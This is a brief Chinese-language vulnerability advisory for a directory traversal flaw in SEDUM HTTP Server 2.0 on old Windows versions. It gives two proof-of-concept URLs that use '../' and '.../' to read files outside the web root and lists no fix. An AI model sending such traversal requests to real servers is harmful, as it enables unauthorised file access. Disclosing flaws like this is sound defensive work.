Guido Frassetto SEDUM HTTP服务程序存在目录遍历漏洞

发布时间：2001-02-08
更新时间：2002-02-08
严重程度：中
威胁程度：远程非授权文件存取
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

受影响系统：
：
    Guido Frassato SEDUM HTTP Server 2.0
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0

详细描述
一个远程用户可以通过带特殊字符的URL如'../'或者'.../'的文件名请求而获得文件源代码信息.

测试代码
http://target/../[file outside web root]

http://target/.../[file outside web root]

解决方案
尚无

相关信息